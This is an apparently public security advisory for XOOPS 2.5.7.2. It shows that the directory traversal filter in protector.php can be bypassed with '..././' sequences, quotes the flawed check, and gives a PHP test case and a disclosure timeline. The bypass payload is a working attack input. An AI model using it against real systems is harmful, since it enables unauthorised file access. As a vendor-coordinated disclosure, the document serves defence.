XOOPS 2.5.7.2 - Directory Traversal Bypass

[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/XOOPS-DIRECTORY-TRAVERSAL.txt


Vendor:
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xoops.org


Product:
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Xoops 2.5.7.2


Vulnerability Type:
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Directory Traversal Bypass


Vulnerability Details:
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Xoops 2.5.7.2 has checks to defend against directory traversal attacks.
However, they can be easily bypassed by simply issuing "..././" instead of
"../"


References:
http://xoops.org/modules/news/article.php?storyid=6757


Exploit Codes:
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In Xoops code in 'protector.php' the following check is made for dot dot
slash "../" in HTTP requests

/////////////////////////////////////////////////////////////////////////////////

if( is_array( $_GET[ $key ] ) ) continue ;
if ( substr( trim( $val ) , 0 , 3 ) == '../' || strstr( $val , '../../' ) )
{
 $this->last_error_type = 'DirTraversal' ;
 $this->message .= "Directory Traversal '$val' found.\n" ;

////////////////////////////////////////////////////////////////////////////////

The above Xoops directory traversal check can be defeated by using
 ..././..././..././..././

you can test the theory by using example below test case by supplying
..././ to GET param.

$val=$_GET['c'];

if ( substr( trim( $val ) , 0 , 3 ) == '../' || strstr( $val , '../../' ) )
{
echo "traversal!";
}else{
echo "ok!" . $val;
}



Disclosure Date:
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Feb 2, 2016: Vendor Notification
Vendor confirms and patches Xoops
March 17, 2016 : Public Disclosure

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